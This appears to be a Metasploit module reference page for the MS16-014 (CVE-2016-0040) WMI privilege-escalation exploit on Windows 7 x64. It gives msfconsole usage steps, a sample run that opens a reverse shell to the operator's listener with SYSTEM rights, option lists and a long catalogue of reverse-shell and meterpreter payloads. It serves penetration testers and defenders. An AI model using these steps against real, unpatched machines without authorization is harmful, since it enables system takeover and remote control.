Windows WMI Receive Notification Exploit - Metasploit
This page contains detailed information about how to use the exploit/windows/local/ms16_014_wmi_recv_notif metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows WMI Receive Notification Exploit
Module: exploit/windows/local/ms16_014_wmi_recv_notif
Source code: modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb
Disclosure date: 2015-12-04
Last modification time: 2021-07-21 12:35:47 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-0040
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/ms16_014_wmi_recv_notif
msf exploit(ms16_014_wmi_recv_notif) > show targets
... a list of targets ...
msf exploit(ms16_014_wmi_recv_notif) > set TARGET target-id
msf exploit(ms16_014_wmi_recv_notif) > show options
... show and set options ...
msf exploit(ms16_014_wmi_recv_notif) > set SESSION session-id
msf exploit(ms16_014_wmi_recv_notif) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
This module exploits an uninitialized stack variable vulnerability
present in the WMI subsystem of ntoskrnl
. The vulnerability is
described by MS16-014 and CVE-2016-0040. The module allows the user to
elevate privileges (NT AUTHORITY\SYSTEM)
This module works against Windows7x64 SP0 and SP1 It was tested on and fails against Windows 8x64 - Windows 10x64 r1703
Verification Steps
- [ ] obtain a session on the target system
- [ ] set the
payload
- [ ] set the
session
- [ ]
run
Scenarios
Windows 7x64 SP1
meterpreter > background
[*] Backgrounding session 0...
msf exploit(handler) > use exploits/windows/local/ms16_014_wmi_recv_notif
msf exploit(ms16_014_wmi_recv_notif) > set session 0
session => 0
msf exploit(ms16_014_wmi_recv_notif) > exploit
[*] Started reverse TCP handler on 172.16.38.170:4444
[*] Launching notepad to host the exploit...
[+] Process 3948 launched.
[*] Reflectively injecting the exploit DLL into 3948...
[*] Injecting exploit into 3948...
[*] Exploit injected. Injecting payload into 3948...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (172.16.38.170:4444 -> 172.16.38.129:49695) at 2018-03-07 08:27:57 -0800
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\whoami
whoami
SYSTEM
Go back to menu.
Msfconsole Usage
Here is how the windows/local/ms16_014_wmi_recv_notif exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/ms16_014_wmi_recv_notif
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show info
Name: Windows WMI Receive Notification Exploit
Module: exploit/windows/local/ms16_014_wmi_recv_notif
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-12-04
Provided by:
smmrootkit
de7ec7ed
de7ec7ed
Available targets:
Id Name
-- ----
0 Windows 7 SP0/SP1
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Space: 4096
Description:
This module exploits an uninitialized stack variable in the WMI
subsystem of ntoskrnl. This module has been tested on vulnerable
builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-0040
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/MS16-014
https://github.com/de7ec7ed/CVE-2016-0040
https://github.com/Rootkitsmm/cve-2016-0040
https://technet.microsoft.com/en-us/library/security/ms16-014.aspx
Module Options
This is a complete list of options available in the windows/local/ms16_014_wmi_recv_notif exploit:
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show options
Module options (exploit/windows/local/ms16_014_wmi_recv_notif):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 SP0/SP1
Advanced Options
Here is a complete list of advanced options supported by the windows/local/ms16_014_wmi_recv_notif exploit:
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show advanced
Module advanced options (exploit/windows/local/ms16_014_wmi_recv_notif):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/ms16_014_wmi_recv_notif module can exploit:
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 7 SP0/SP1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/ms16_014_wmi_recv_notif exploit:
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
21 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
22 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
23 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
24 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
26 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
27 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
28 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
29 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
30 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
31 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
32 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
33 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
34 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
35 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
36 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
37 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
38 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
39 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
40 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
41 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
42 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
43 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
44 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
45 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
46 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
47 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
48 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
49 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
50 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
52 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
53 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
55 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
56 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/ms16_014_wmi_recv_notif exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session is already elevated
Here is a relevant code snippet related to the "Session is already elevated" error message:
66: return Exploit::CheckCode::Appears
67: end
68:
69: def exploit
70: if is_system?
71: fail_with(Failure::None, 'Session is already elevated')
72: end
73:
74: check_result = check
75: if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
76: fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
Exploit not available on this system.
Here is a relevant code snippet related to the "Exploit not available on this system." error message:
71: fail_with(Failure::None, 'Session is already elevated')
72: end
73:
74: check_result = check
75: if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
76: fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
77: end
78:
79: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
80: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
81: end
Running against WOW64 is not supported
Here is a relevant code snippet related to the "Running against WOW64 is not supported" error message:
75: if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
76: fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
77: end
78:
79: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
80: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
81: end
82:
83: # invoke the exploit, passing in the address of the payload that
84: # we want invoked on successful exploitation.
85: print_status('Reflectively injecting the exploit DLL and running it...')
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12408 Merged Pull Request: fix spelling received
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #8795 Merged Pull Request: Added CVE-2016-0040 Windows Privilege Escalation Exploit.
References
- CVE-2016-0040
- MS16-014
- https://github.com/de7ec7ed/CVE-2016-0040
- https://github.com/Rootkitsmm/cve-2016-0040
- https://technet.microsoft.com/en-us/library/security/ms16-014.aspx
See Also
Check also the following modules related to this module:
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/windows/local/ms16_016_webdav
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms16_075_reflection
- exploit/windows/local/ms16_075_reflection_juicy
- exploit/windows/local/ps_wmi_exec
- exploit/windows/local/wmi
- exploit/windows/local/wmi_persistence
- exploit/windows/browser/ms16_051_vbscript
- exploit/windows/browser/wmi_admintools
- exploit/linux/local/recvmmsg_priv_esc
- auxiliary/scanner/smb/impacket/wmiexec
- post/windows/gather/wmic_command
- auxiliary/scanner/rogue/rogue_recv
Related Nessus plugins:
Authors
- smmrootkit
- de7ec7ed
- de7ec7ed
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.